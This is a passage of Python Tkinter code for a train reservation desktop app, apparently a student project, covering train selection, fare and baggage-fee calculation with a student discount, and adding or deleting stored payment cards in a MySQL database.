self.drop2.grid(row = 3, column = 2, sticky = E) self.depDate = Label(self.newRev, text = "Departure Date") self.depDate.grid(row = 4, column = 1, sticky = W) self.depEntry = Entry(self.newRev) self.depEntry.grid(row = 4, column = 2, sticky = W) self.depLabel = Label(self.newRev, text = 'YYYY-MM-DD') self.depLabel.grid(row = 5, column = 2, sticky = W) self.findTrain = Button(self.newRev, text = "Find Trains", command = self.DepFromArr) self.findTrain.grid(row = 6, column = 1, sticky = W) def DepFromArr(self): self.departsneed = self.var1.get() a=self.departsneed.find("(") self.DepartsStationNam=self.departsneed[:a] #Departs from chosen self.Connect() cursor = self.db.cursor() self.trainDeparts = [] self.finalSelectDeparts = [] sql_trainSelect = '''SELECT * FROM TrainStopStation WHERE Name = %s''' sql_checkTrain = '''SELECT * FROM TrainStopStation WHERE Name = %s AND TrainNumber = %s''' cursor.execute(sql_trainSelect,(self.DepartsStationNam)) for each in cursor: #train for departs chosen self.trainDeparts.append([each[0], each[1], each[2], each[3]]) #departure time cursor1 = self.db.cursor() self.arrivesneed = self.var2.get() b = self.arrivesneed.find("(") self.ArrivesStationNam = self.arrivesneed[:b] #arrives at chosen cursor1 = self.db.cursor() for i in range(len(self.trainDeparts)): cursor1.execute(sql_checkTrain,(self.ArrivesStationNam, self.trainDeparts[i][0])) for each in cursor1: self.finalSelectDeparts.append([each[0], each[1], each[2], each[3]]) #store the same departs from and arrives at but only arrivaltime self.selecttimeTrain = [] for i in range(len(self.finalSelectDeparts)): for j in range(len(self.trainDeparts)): if self.finalSelectDeparts[i][0] == self.trainDeparts[j][0]: self.selecttimeTrain.append([self.finalSelectDeparts[i][0], self.trainDeparts[j][3], self.finalSelectDeparts[i][2]]) #semi final show on select departure sql_price = '''SELECT * FROM TrainRoute''' cursor2 = self.db.cursor() cursor2.execute(sql_price) self.pricenumtrain = [] for each in cursor2: self.pricenumtrain.append([each[0], each[1], each[2]]) for i in range(len(self.selecttimeTrain)): for j in range(len(self.pricenumtrain)): if self.selecttimeTrain[i][0] == self.pricenumtrain[j][0]: self.selecttimeTrain[i].append(self.pricenumtrain[j][1]) self.selecttimeTrain[i].append(self.pricenumtrain[j][2]) #final show on select departure self.depEntrycomp = self.depEntry.get() self.depEntrycomp1 = self.depEntrycomp.split('-') for i in range(len(self.depEntrycomp1)): self.depEntrycomp1[i] = int(self.depEntrycomp1[i]) self.depEntrycomp2 = datetime.date(self.depEntrycomp1[0], self.depEntrycomp1[1], self.depEntrycomp1[2]) if self.var1.get() == self.var2.get(): #to check departs from != arrives at messagebox.showerror("Error", "Departs From and Arrives At cannot be the same") elif self.depEntrycomp2 <= datetime.date.today(): messagebox.showerror("Error", "Departure Date must be in future") elif len(self.selecttimeTrain) == 0: messagebox.showerror("Error", "No route exists") else: self.Select_Departure() #self.var1.get() & self.var2.get() & self.depEntry.get() works here!! def Select_Departure(self): self.newRev.withdraw() self.SelectDeparture=Toplevel(rootWin) selectDepartureLab=Label(self.SelectDeparture, text="Select Departure") selectDepartureLab.grid(row=1, column=1, columnspan=6, sticky=EW) aList=["Train Number ", "Departure Time ","Arrival Time", "Duration", "1st Class Price ", "2nd Class Price ", ] for i in range (len(aList)): TrainRow=Label(self.SelectDeparture, text=aList[i]) TrainRow.grid(row=2, column=1+i, sticky=W) self.varvar1 = IntVar() #variable that has price selected for i in range(len(self.selecttimeTrain)): TrainRow=Label(self.SelectDeparture, text=self.selecttimeTrain[i][0]) #0 - > Train Number TrainRow.grid(row=3+i, column=1, sticky=W) TimeRow=Label(self.SelectDeparture, text=self.selecttimeTrain[i][1]) # 1 -> DepartureTime TimeRow.grid(row=3+i, column=2, sticky=W) TimeRow2=Label(self.SelectDeparture, text=self.selecttimeTrain[i][2]) # 2 - > Arrival Time TimeRow2.grid(row=3+i, column=3, sticky=W) firstPrice=Radiobutton(self.SelectDeparture, text=self.selecttimeTrain[i][3],variable=self.varvar1,value=int(self.selecttimeTrain[i][3])) firstPrice.grid(row=3+i, column=5, sticky=W) secondPrice=Radiobutton(self.SelectDeparture, text=self.selecttimeTrain[i][4], variable = self.varvar1, value = int(self.selecttimeTrain[i][4])) secondPrice.grid(row=3+i, column=6, sticky=W) Duration=abs((self.selecttimeTrain[i][2]-self.selecttimeTrain[i][1]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.SelectDeparture, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=3+i, column=4,sticky=W) Next=Button(self.SelectDeparture,text="Next", command=self.CheckDupTr) Next.grid(row=3+len(self.selecttimeTrain), column=4, sticky=E) Back=Button(self.SelectDeparture, text="Back", command=self.backback) Back.grid(row=3+len(self.selecttimeTrain), column=1, sticky=W) def backback(self): self.SelectDeparture.withdraw() self.newRev.deiconify() def CheckDupTr(self): for i in range(len(self.selecttimeTrain)): if self.varvar1.get() == self.selecttimeTrain[i][3]: if self.selecttimeTrain[i][0] not in self.checkDupTrain: self.checkDupTrain.append(self.selecttimeTrain[i][0]) self.Travel_Extras() elif self.selecttimeTrain[i][0] in self.checkDupTrain: messagebox.showerror("Error","You have already choosen this train number. Please add a different train") def Travel_Extras(self): self.SelectDeparture.withdraw() self.TravelExtras=Toplevel(rootWin) self.TravelExtras1=Label(self.TravelExtras, text = "Travel Extras & Passenger Info") self.TravelExtras1.grid(row = 1, column = 1, columnspan = 8, sticky = EW) self.NumBag=Label(self.TravelExtras, text = "Number of Baggage") self.NumBag.grid(row = 2, column = 1, sticky = E) self.varvar2 = StringVar() self.varvar2.set("0") #initial value self.drop2 = OptionMenu(self.TravelExtras, self.varvar2, "0","1","2","3","4") self.drop2.grid(row = 2, column = 2, sticky = W) self.NumBagLimit=Label(self.TravelExtras, text = "(Every passenger can bring up to 4 baggage. 2 free of charge, 2 for $30 per bag)", width=70) self.NumBagLimit.grid(row = 3, column = 1, columnspan = 2, sticky = EW) ## we can use self.var2.get() to get the number of baggae to put into the database. self.PassengerName=Label(self.TravelExtras, text = "Passenger Name") self.PassengerName.grid(row = 4, column = 1, sticky = EW) self.PassengerNameEntry=Entry(self.TravelExtras, width=30) self.PassengerNameEntry.grid(row = 4, column = 2, sticky = W) self.backSelDep = Button(self.TravelExtras, text = "Back", padx = 10, command=self.backbackback) #command to go back to Select Departure custFunc self.backSelDep.grid(row = 6, column = 1, sticky = W) self.nextMakeRes1 = Button(self.TravelExtras, text = "Next", padx = 10, command=self.Make_Reservation) #command to go to next window twhich is Make Reservation self.nextMakeRes1.grid(row = 6, column = 2, sticky = E) def backbackback(self): self.TravelExtras.withdraw() self.SelectDeparture.deiconify() def Make_Reservation(self): if self.PassengerNameEntry.get() == '': messagebox.showerror("Error", "Passenger name field is empty") else: self.TravelExtras.withdraw() self.MakeReservation=Toplevel(rootWin) self.MakeReservation1=Label(self.MakeReservation, text = "Make Reservation") self.MakeReservation1.grid(row = 1, column = 1, columnspan = 8, sticky = EW) currentlySelected=Label(self.MakeReservation, text = "Currently Selected") currentlySelected.grid(row = 2, column = 1, sticky = W) self.pricefirstsecond = self.varvar1.get() aList=["Train Number"," Depart Time ","Arrival Time","Duration", "Depart Date ", " Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "," Remove "] for i in range (len(aList)): Lab=Label(self.MakeReservation, text=aList[i]) Lab.grid(row=3, column=1+i, sticky=W) self.currentselection.append([self.varvar2.get(),self.PassengerNameEntry.get(),self.var1.get(),self.var2.get(),self.depEntry.get()]) ##for j in range(self.NumberOfReservation): for i in range(len(self.selecttimeTrain)): if self.pricefirstsecond == self.selecttimeTrain[i][3]: self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][0]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][1]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][2]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][3]) self.currentselection[self.NumberOfReservation-1].append('FirstClass') elif self.pricefirstsecond == self.selecttimeTrain[i][4]: self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][0]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][1]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][2]) self.currentselection[self.NumberOfReservation-1].append(self.selecttimeTrain[i][4]) self.currentselection[self.NumberOfReservation-1].append('SecondClass') for j in range (self.NumberOfReservation): for i in range(len(self.currentselection)): self.var6=IntVar() ##to keep track of which resrvation we want to remove. lab=Label(self.MakeReservation, text=self.currentselection[i][5]) lab.grid(row=4+i, column=1, sticky=W) lab2=Label(self.MakeReservation, text=self.currentselection[i][6]) lab2.grid(row=4+i, column=2, sticky=W) lab3=Label(self.MakeReservation, text=self.currentselection[i][7]) lab3.grid(row=4+i, column=3, sticky=W) lab4=Label(self.MakeReservation, text=self.currentselection[i][4]) lab4.grid(row=4+i, column=5, sticky=W) lab5=Label(self.MakeReservation, text=self.currentselection[i][2]) lab5.grid(row=4+i, column=6, sticky=W) lab6=Label(self.MakeReservation, text=self.currentselection[i][3]) lab6.grid(row=4+i, column=7, sticky=W) lab7=Label(self.MakeReservation, text=self.currentselection[i][9]) lab7.grid(row=4+i, column=8, sticky=W) lab8=Label(self.MakeReservation, text=self.currentselection[i][8]) lab8.grid(row=4+i, column=9, sticky=W) lab9=Label(self.MakeReservation, text=self.currentselection[i][0]) lab9.grid(row=4+i, column=10, sticky=W) lab10=Label(self.MakeReservation, text=self.currentselection[i][1]) lab10.grid(row=4+i, column=11, sticky=W) lab11=Radiobutton(self.MakeReservation,variable=self.var6,text="Remove", value=int(i)) lab11.grid(row=4+i, column=12, sticky=W) Duration=abs((self.currentselection[i][7]-self.currentselection[i][6]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.MakeReservation, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=4+i, column=4,sticky=W) self.Connect() sql_getUsernamestatus = '''SELECT Is_student FROM Customer WHERE C_Username = %s''' cursor = self.db.cursor() cursor.execute(sql_getUsernamestatus, (self.userLog)) for each in cursor: self.tempUser = each[0] if self.tempUser == 1: #label for student discount stuDisLab=Label(self.MakeReservation, text="Student Discount Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) else: stuDisLab=Label(self.MakeReservation, text="Student Discount Not Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) self.totCostLab=Label(self.MakeReservation, text="Total Cost") self.totCostLab.grid(row=6+len(self.currentselection), column=1, sticky=W) self.calculation = [] self.Connect() for i in range(self.NumberOfReservation): #price for bag #self.calculation.append([self.currentselection[i][3], self.currentselection[i][5]]) #row that contain [price, numbag] if int(self.currentselection[i][0]) < 3: pricebag = 0 ##self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) else: pricebag = (int(self.currentselection[i][0]) - 2) * 30 self.priceIndex=i self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) if self.tempUser == 1: self.totalCostCost = self.totalCostCost * 0.8 self.totalCostCost = "{0:.2f}".format(self.totalCostCost) self.totCost=Label(self.MakeReservation, text="$"+str(self.totalCostCost)) #total cost self.totCost.grid(row=6+self.NumberOfReservation, column=2, sticky=W) self.Connect() cursor = self.db.cursor() sql_getCard = '''SELECT RIGHT(CardNumber,4),CardNumber FROM PaymentInfo WHERE C_Username = %s''' cursor.execute(sql_getCard, (self.userLog)) self.cardNumnum = [] self.cardNumberFullDigit=[] for each in cursor: #get cardnumber of the user from database self.cardNumnum.append(each[0]) self.cardNumberFullDigit.append(each[1]) self.var3x = StringVar() self.var3x.set(self.cardNumnum[0]) #initial value self.useCardLab=OptionMenu(self.MakeReservation, self.var3x, *self.cardNumnum) ## here options are all the cards in the database for that customer, we need to get these from database self.useCardLab.grid(row=7+self.NumberOfReservation, column=2, sticky=W) useCardLabel=Label(self.MakeReservation, text="Use Card") useCardLabel.grid(row=7+self.NumberOfReservation, column=1, sticky=W) self.addCard=Button(self.MakeReservation, text="Add Card", command=self.Payment_Information) self.addCard.grid(row=7+self.NumberOfReservation, column=3, sticky=W) ConAddTrain=Button(self.MakeReservation, text="Continue adding a train", command=self.continueAddTrain) ConAddTrain.grid(row=8+self.NumberOfReservation, column=1, sticky=W) self.backToTravelExtra = Button(self.MakeReservation, text = "Back", padx = 10, command=self.back10) self.backToTravelExtra.grid(row = 9+self.NumberOfReservation, column = 2, sticky = W) self.submitMakeRes = Button(self.MakeReservation, text = "Submit", padx = 10, command=self.Confirmation) self.submitMakeRes.grid(row=9+self.NumberOfReservation, column = 4, sticky = E) self.RemoveSubmit=Button(self.MakeReservation, text="Remove Selected", command=self.RemoveSubmitButton) self.RemoveSubmit.grid(row=5+len(self.currentselection), column=11, sticky=E) def RemoveSubmitButton(self): self.currentselection.remove(self.currentselection[self.var6.get()]) self.NumberOfReservation=self.NumberOfReservation-1 self.totalCostCost = 0 self.MakeReservation.withdraw() self.MakeReservation=Toplevel(rootWin) aList=["Train Number"," Depart Time ","Arrival Time","Duration", "Depart Date ", " Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "," Remove "] for i in range (len(aList)): Lab=Label(self.MakeReservation, text=aList[i]) Lab.grid(row=3, column=1+i, sticky=W) for j in range (self.NumberOfReservation): for i in range(len(self.currentselection)): self.var6=IntVar() ##to keep track of which resrvation we want to remove. lab=Label(self.MakeReservation, text=self.currentselection[i][5]) lab.grid(row=4+i, column=1, sticky=W) lab2=Label(self.MakeReservation, text=self.currentselection[i][6]) lab2.grid(row=4+i, column=2, sticky=W) lab3=Label(self.MakeReservation, text=self.currentselection[i][7]) lab3.grid(row=4+i, column=3, sticky=W) lab4=Label(self.MakeReservation, text=self.currentselection[i][4]) lab4.grid(row=4+i, column=5, sticky=W) lab5=Label(self.MakeReservation, text=self.currentselection[i][2]) lab5.grid(row=4+i, column=6, sticky=W) lab6=Label(self.MakeReservation, text=self.currentselection[i][3]) lab6.grid(row=4+i, column=7, sticky=W) lab7=Label(self.MakeReservation, text=self.currentselection[i][9]) lab7.grid(row=4+i, column=8, sticky=W) lab8=Label(self.MakeReservation, text=self.currentselection[i][8]) lab8.grid(row=4+i, column=9, sticky=W) lab9=Label(self.MakeReservation, text=self.currentselection[i][0]) lab9.grid(row=4+i, column=10, sticky=W) lab10=Label(self.MakeReservation, text=self.currentselection[i][1]) lab10.grid(row=4+i, column=11, sticky=W) lab11=Radiobutton(self.MakeReservation,variable=self.var6,text="Remove", value=int(i)) lab11.grid(row=4+i, column=12, sticky=W) Duration=abs((self.currentselection[i][7]-self.currentselection[i][6]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.MakeReservation, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=4+i, column=4,sticky=W) self.Connect() sql_getUsernamestatus = '''SELECT Is_student FROM Customer WHERE C_Username = %s''' cursor = self.db.cursor() cursor.execute(sql_getUsernamestatus, (self.userLog)) for each in cursor: self.tempUser = each[0] if self.tempUser == 1: #label for student discount stuDisLab=Label(self.MakeReservation, text="Student Discount Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) else: stuDisLab=Label(self.MakeReservation, text="Student Discount Not Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) self.totCostLab=Label(self.MakeReservation, text="Total Cost") self.totCostLab.grid(row=6+len(self.currentselection), column=1, sticky=W) self.calculation = [] self.Connect() for i in range(self.NumberOfReservation): #price for bag #self.calculation.append([self.currentselection[i][3], self.currentselection[i][5]]) #row that contain [price, numbag] if int(self.currentselection[i][0]) < 3: pricebag = 0 ##self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) else: pricebag = (int(self.currentselection[i][0]) - 2) * 30 self.priceIndex=i self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) if self.tempUser == 1: self.totalCostCost = self.totalCostCost * 0.8 self.totalCostCost = "{0:.2f}".format(self.totalCostCost) self.totCost=Label(self.MakeReservation, text="$"+str(self.totalCostCost)) #total cost self.totCost.grid(row=6+self.NumberOfReservation, column=2, sticky=W) self.Connect() cursor = self.db.cursor() sql_getCard = '''SELECT RIGHT(CardNumber,4) FROM PaymentInfo WHERE C_Username = %s''' cursor.execute(sql_getCard, (self.userLog)) self.cardNumnum = [] for each in cursor: #get cardnumber of the user from database self.cardNumnum.append(each[0]) self.var3x = StringVar() self.var3x.set(self.cardNumnum[0]) #initial value self.useCardLab=OptionMenu(self.MakeReservation, self.var3x, *self.cardNumnum) ## here options are all the cards in the database for that customer, we need to get these from database self.useCardLab.grid(row=7+self.NumberOfReservation, column=2, sticky=W) useCardLabel=Label(self.MakeReservation, text="Use Card") useCardLabel.grid(row=7+self.NumberOfReservation, column=1, sticky=W) self.addCard=Button(self.MakeReservation, text="Add Card", command=self.Payment_Information) self.addCard.grid(row=7+self.NumberOfReservation, column=3, sticky=W) ConAddTrain=Button(self.MakeReservation, text="Continue adding a train", command=self.continueAddTrain) ConAddTrain.grid(row=8+self.NumberOfReservation, column=1, sticky=W) self.backToTravelExtra = Button(self.MakeReservation, text = "Back", padx = 10, command=self.back10) self.backToTravelExtra.grid(row = 9+self.NumberOfReservation, column = 2, sticky = W) self.submitMakeRes = Button(self.MakeReservation, text = "Submit", padx = 10, command=self.Confirmation) self.submitMakeRes.grid(row=9+self.NumberOfReservation, column = 4, sticky = E) self.RemoveSubmit=Button(self.MakeReservation, text="Remove Selected", command=self.RemoveSubmitButton) self.RemoveSubmit.grid(row=5+len(self.currentselection), column=11, sticky=E) def continueAddTrain(self): self.MakeReservation.withdraw() self.NumberOfReservation=self.NumberOfReservation+1 self.totalCostCost= 0 self.reservation() def back10(self): self.MakeReservation.withdraw() self.custFunc() def Payment_Information(self): self.MakeReservation.withdraw() self.PaymentInformation=Toplevel(rootWin) paymentInform=Label(self.PaymentInformation, text="Payment Information") paymentInform.grid(row=1, column=1, columnspan = 8, sticky=EW) addDelCardList=["Add Card:","Name On Card", "Card Number", "CVV", "Expiration Date", " Delete Card:", " Card Number"] for i in range(7): if i==5 or i==6: deleteCard=Label(self.PaymentInformation, text=addDelCardList[i]) deleteCard.grid(row=2+(i-5), column=4, sticky=E) else: addCard=Label(self.PaymentInformation, text=addDelCardList[i]) addCard.grid(row=2+i, column=1, sticky=W) self.NamOnCardEntry=Entry(self.PaymentInformation, width=30) self.NamOnCardEntry.grid(row=3, column=2, sticky=EW) self.CardNumberEntry=Entry(self.PaymentInformation, width=30) self.CardNumberEntry.grid(row=4, column=2, sticky=EW) self.CvvEntry=Entry(self.PaymentInformation, width=10) self.CvvEntry.grid(row=5, column=2, sticky=W) self.ExpirationDateEntry=Entry(self.PaymentInformation, width=20) self.ExpirationDateEntry.grid(row=6, column=2, sticky=W) self.ExpDateEntry=Label(self.PaymentInformation, text="YYYY-MM-DD") self.ExpDateEntry.grid(row=7, column=2, sticky=W) self.var4x = StringVar() self.var4x.set(self.cardNumnum[0]) #initial value self.delCardNumber=OptionMenu(self.PaymentInformation, self.var4x, *self.cardNumnum) self.delCardNumber.grid(row=3, column=5, sticky=EW) self.addCardSubmit=Button(self.PaymentInformation, text="Submit", padx=10, command=self.Confirmationadd) self.addCardSubmit.grid(row=8, column=1, sticky=W) self.delCardSubmit=Button(self.PaymentInformation, text="Submit", padx=10, command=self.Confirmationdel) ##Note: A customer cannot delete a card that is being used in the transaction self.delCardSubmit.grid(row=4, column=5, sticky=W) def Confirmationdel(self): ###I fixed everything here except we need to check if the datetime works self.Connect() cursor = self.db.cursor() sql_getResID = '''SELECT ReservationID, RIGHT(CardNumber,4), CardNumber FROM Reservation WHERE C_Username = %s AND Is_cancelled = %s''' self.tempResget = [] cursor.execute(sql_getResID, (self.userLog,'0')) for each in cursor: self.tempResget.append([each[0], each[1],each[2]]) cardList=[] for i in range (len(self.tempResget)): cursor5 = self.db.cursor() sql_getResDate='''SELECT DepartureDate FROM ReserveTrain WHERE ReservationID= %s''' cursor5.execute(sql_getResDate,(self.tempResget[i][0])) for each in cursor5: if each[0]>datetime.date.today(): cardList.append(self.tempResget[i][1]) if self.var4x.get() in cardList: messagebox.showerror("Error", "You cannot delete this card since it's being used in a transaction.") self.PaymentInformation.withdraw() else: cursor2 = self.db.cursor() sql_getCardNumb='''SELECT RIGHT(CardNumber,4), CardNumber FROM PaymentInfo WHERE C_Username = %s ''' cursor2.execute(sql_getCardNumb,(self.userLog)) cardNumberList=[] cardNumberList2=[] for each in cursor2: cardNumberList.append(each[0]) cardNumberList2.append(each[1]) for i in range (len(cardNumberList)): if self.var4x.get()==cardNumberList[i]: self.b=i cursor3 = self.db.cursor() sql_getDelCard='''DELETE FROM PaymentInfo WHERE CardNumber= %s''' cursor3.execute(sql_getDelCard,(cardNumberList2[self.b])) try: cursor4 = self.db.cursor() sql_deleteReserv = '''DELETE FROM Reservation WHERE CardNumber = %s''' cursor4.execute(sql_deleteReserv,(cardNumberList2[self.b])) messagebox.showinfo("Success", "Your card is deleted successfully.") self.PaymentInformation.withdraw() except: self.PaymentInformation.withdraw() self.totalCostCost = 0 self.MakeReservation.withdraw() self.MakeReservation=Toplevel(rootWin) aList=["Train Number"," Depart Time ","Arrival Time","Duration", "Depart Date ", " Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "," Remove "] for i in range (len(aList)): Lab=Label(self.MakeReservation, text=aList[i]) Lab.grid(row=3, column=1+i, sticky=W) for j in range (self.NumberOfReservation): for i in range(len(self.currentselection)): self.var6=IntVar() ##to keep track of which resrvation we want to remove. lab=Label(self.MakeReservation, text=self.currentselection[i][5]) lab.grid(row=4+i, column=1, sticky=W) lab2=Label(self.MakeReservation, text=self.currentselection[i][6]) lab2.grid(row=4+i, column=2, sticky=W) lab3=Label(self.MakeReservation, text=self.currentselection[i][7]) lab3.grid(row=4+i, column=3, sticky=W) lab4=Label(self.MakeReservation, text=self.currentselection[i][4]) lab4.grid(row=4+i, column=5, sticky=W) lab5=Label(self.MakeReservation, text=self.currentselection[i][2]) lab5.grid(row=4+i, column=6, sticky=W) lab6=Label(self.MakeReservation, text=self.currentselection[i][3]) lab6.grid(row=4+i, column=7, sticky=W) lab7=Label(self.MakeReservation, text=self.currentselection[i][9]) lab7.grid(row=4+i, column=8, sticky=W) lab8=Label(self.MakeReservation, text=self.currentselection[i][8]) lab8.grid(row=4+i, column=9, sticky=W) lab9=Label(self.MakeReservation, text=self.currentselection[i][0]) lab9.grid(row=4+i, column=10, sticky=W) lab10=Label(self.MakeReservation, text=self.currentselection[i][1]) lab10.grid(row=4+i, column=11, sticky=W) lab11=Radiobutton(self.MakeReservation,variable=self.var6,text="Remove", value=int(i)) lab11.grid(row=4+i, column=12, sticky=W) Duration=abs((self.currentselection[i][7]-self.currentselection[i][6]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.MakeReservation, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=4+i, column=4,sticky=W) self.Connect() sql_getUsernamestatus = '''SELECT Is_student FROM Customer WHERE C_Username = %s''' cursor = self.db.cursor() cursor.execute(sql_getUsernamestatus, (self.userLog)) for each in cursor: self.tempUser = each[0] if self.tempUser == 1: #label for student discount stuDisLab=Label(self.MakeReservation, text="Student Discount Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) else: stuDisLab=Label(self.MakeReservation, text="Student Discount Not Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) self.totCostLab=Label(self.MakeReservation, text="Total Cost") self.totCostLab.grid(row=6+len(self.currentselection), column=1, sticky=W) self.calculation = [] self.Connect() for i in range(self.NumberOfReservation): #price for bag #self.calculation.append([self.currentselection[i][3], self.currentselection[i][5]]) #row that contain [price, numbag] if int(self.currentselection[i][0]) < 3: pricebag = 0 ##self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) else: pricebag = (int(self.currentselection[i][0]) - 2) * 30 self.priceIndex=i self.totalCostCost=float(self.totalCostCost)+float(self.currentselection[i][8])+float(pricebag) if self.tempUser == 1: self.totalCostCost = self.totalCostCost * 0.8 self.totalCostCost = "{0:.2f}".format(self.totalCostCost) self.totCost=Label(self.MakeReservation, text="$"+str(self.totalCostCost)) #total cost self.totCost.grid(row=6+self.NumberOfReservation, column=2, sticky=W) self.Connect() cursor = self.db.cursor() sql_getCard = '''SELECT RIGHT(CardNumber,4) FROM PaymentInfo WHERE C_Username = %s''' cursor.execute(sql_getCard, (self.userLog)) self.cardNumnum = [] for each in cursor: #get cardnumber of the user from database self.cardNumnum.append(each[0]) self.var3x = StringVar() self.var3x.set(self.cardNumnum[0]) #initial value self.useCardLab=OptionMenu(self.MakeReservation, self.var3x, *self.cardNumnum) ## here options are all the cards in the database for that customer, we need to get these from database self.useCardLab.grid(row=7+self.NumberOfReservation, column=2, sticky=W) useCardLabel=Label(self.MakeReservation, text="Use Card") useCardLabel.grid(row=7+self.NumberOfReservation, column=1, sticky=W) self.addCard=Button(self.MakeReservation, text="Add Card", command=self.Payment_Information) self.addCard.grid(row=7+self.NumberOfReservation, column=3, sticky=W) ConAddTrain=Button(self.MakeReservation, text="Continue adding a train", command=self.continueAddTrain) ConAddTrain.grid(row=8+self.NumberOfReservation, column=1, sticky=W) self.backToTravelExtra = Button(self.MakeReservation, text = "Back", padx = 10, command=self.back10) self.backToTravelExtra.grid(row = 9+self.NumberOfReservation, column = 2, sticky = W) self.submitMakeRes = Button(self.MakeReservation, text = "Submit", padx = 10, command=self.Confirmation) self.submitMakeRes.grid(row=9+self.NumberOfReservation, column = 4, sticky = E) self.RemoveSubmit=Button(self.MakeReservation, text="Remove Selected", command=self.RemoveSubmitButton) self.RemoveSubmit.grid(row=5+len(self.currentselection), column=11, sticky=E) def Confirmationadd(self): self.Connect() sql_getcard = '''SELECT CardNumber FROM PaymentInfo''' cursor = self.db.cursor() cursor.execute(sql_getcard) cursorNum = self.db.cursor() cardList = [] for each in cursor: cardList.append(each[0]) if self.CardNumberEntry.get() in cardList: messagebox.showerror("Fail", "Card number exists on database") self.PaymentInformation.withdraw() self.Payment_Information() elif datetime.datetime.strptime(str(self.ExpirationDateEntry.get()), "%Y-%m-%d") < datetime.datetime.now(): messagebox.showerror("Fail", "Expiration date of the card has passed") self.PaymentInformation.withdraw() self.Payment_Information() else: sql_addcardcardcard = '''INSERT INTO PaymentInfo(`CardNumber`,`CVV`,`ExpDate`,`NameOnCard`,`C_Username`) VALUES(%s, %s, %s, %s, %s)''' cursorNum.execute(sql_addcardcardcard, (self.CardNumberEntry.get(), self.CvvEntry.get(), self.ExpirationDateEntry.get(), self.NamOnCardEntry.get(),self.userLog)) messagebox.showinfo("Success", "Card added successfully") self.PaymentInformation.withdraw() self.GoBackToMakeReservation10() def GoBackToMakeReservation10(self): self.totalCostCost = 0 self.MakeReservation.withdraw() self.MakeReservation=Toplevel(rootWin) aList=["Train Number"," Depart Time ","Arrival Time","Duration", "Depart Date ", " Departs From "," Arrives at "," Class "," Price "," #of Baggage "," Passenger Name "," Remove "] for i in range (len(aList)): Lab=Label(self.MakeReservation, text=aList[i]) Lab.grid(row=3, column=1+i, sticky=W) for j in range (self.NumberOfReservation): for i in range(len(self.currentselection)): self.var6=IntVar() ##to keep track of which resrvation we want to remove. lab=Label(self.MakeReservation, text=self.currentselection[i][5]) lab.grid(row=4+i, column=1, sticky=W) lab2=Label(self.MakeReservation, text=self.currentselection[i][6]) lab2.grid(row=4+i, column=2, sticky=W) lab3=Label(self.MakeReservation, text=self.currentselection[i][7]) lab3.grid(row=4+i, column=3, sticky=W) lab4=Label(self.MakeReservation, text=self.currentselection[i][4]) lab4.grid(row=4+i, column=5, sticky=W) lab5=Label(self.MakeReservation, text=self.currentselection[i][2]) lab5.grid(row=4+i, column=6, sticky=W) lab6=Label(self.MakeReservation, text=self.currentselection[i][3]) lab6.grid(row=4+i, column=7, sticky=W) lab7=Label(self.MakeReservation, text=self.currentselection[i][9]) lab7.grid(row=4+i, column=8, sticky=W) lab8=Label(self.MakeReservation, text=self.currentselection[i][8]) lab8.grid(row=4+i, column=9, sticky=W) lab9=Label(self.MakeReservation, text=self.currentselection[i][0]) lab9.grid(row=4+i, column=10, sticky=W) lab10=Label(self.MakeReservation, text=self.currentselection[i][1]) lab10.grid(row=4+i, column=11, sticky=W) lab11=Radiobutton(self.MakeReservation,variable=self.var6,text="Remove", value=int(i)) lab11.grid(row=4+i, column=12, sticky=W) Duration=abs((self.currentselection[i][7]-self.currentselection[i][6]).total_seconds()/3600) DurationHour=abs(int(Duration)) DurationMinute=abs((int((Duration-DurationHour)*60))) DurationLabel=Label(self.MakeReservation, text=str(DurationHour)+"hr"+str(DurationMinute)+"min") DurationLabel.grid(row=4+i, column=4,sticky=W) self.Connect() sql_getUsernamestatus = '''SELECT Is_student FROM Customer WHERE C_Username = %s''' cursor = self.db.cursor() cursor.execute(sql_getUsernamestatus, (self.userLog)) for each in cursor: self.tempUser = each[0] if self.tempUser == 1: #label for student discount stuDisLab=Label(self.MakeReservation, text="Student Discount Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) else: stuDisLab=Label(self.MakeReservation, text="Student Discount Not Applied.") stuDisLab.grid(row=5+len(self.currentselection), column=1, sticky=EW) self.totCostLab=Label(self.MakeReservation, text="Total Cost") self.totCostLab.grid(row=6+len(self.currentselection), column=1, sticky=W) self.calculation = [] self.Connect() for i in 